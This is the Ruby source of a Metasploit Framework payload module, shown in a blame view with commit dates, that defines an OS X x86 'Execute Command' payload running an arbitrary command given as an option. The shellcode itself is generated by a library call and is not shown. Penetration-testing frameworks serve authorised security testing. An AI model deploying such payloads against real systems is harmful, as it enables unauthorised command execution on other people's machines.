metasploit-framework/modules/payloads/singles/osx/x86/exec.rb

51 lines
1000 B
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module Metasploit3
CachedSize = 16
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
2015-04-15 04:08:57 +00:00
include Msf::Payload::Bsd::X86
2013-08-30 21:28:54 +00:00
include Msf::Payload::Osx
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(merge_info(info,
2015-04-15 04:08:57 +00:00
'Name' => 'OS X Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [
'snagg <snagg[at]openssl.it>',
'argp <argp[at]census-labs.com>',
'joev'
],
'License' => BSD_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86
2013-08-30 21:28:54 +00:00
))
2015-04-15 04:08:57 +00:00
register_options([
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
#
# Dynamically builds the exec payload based on the user's options.
#
def generate_stage
2015-04-15 04:08:57 +00:00
bsd_x86_exec_payload
2013-08-30 21:28:54 +00:00
end
end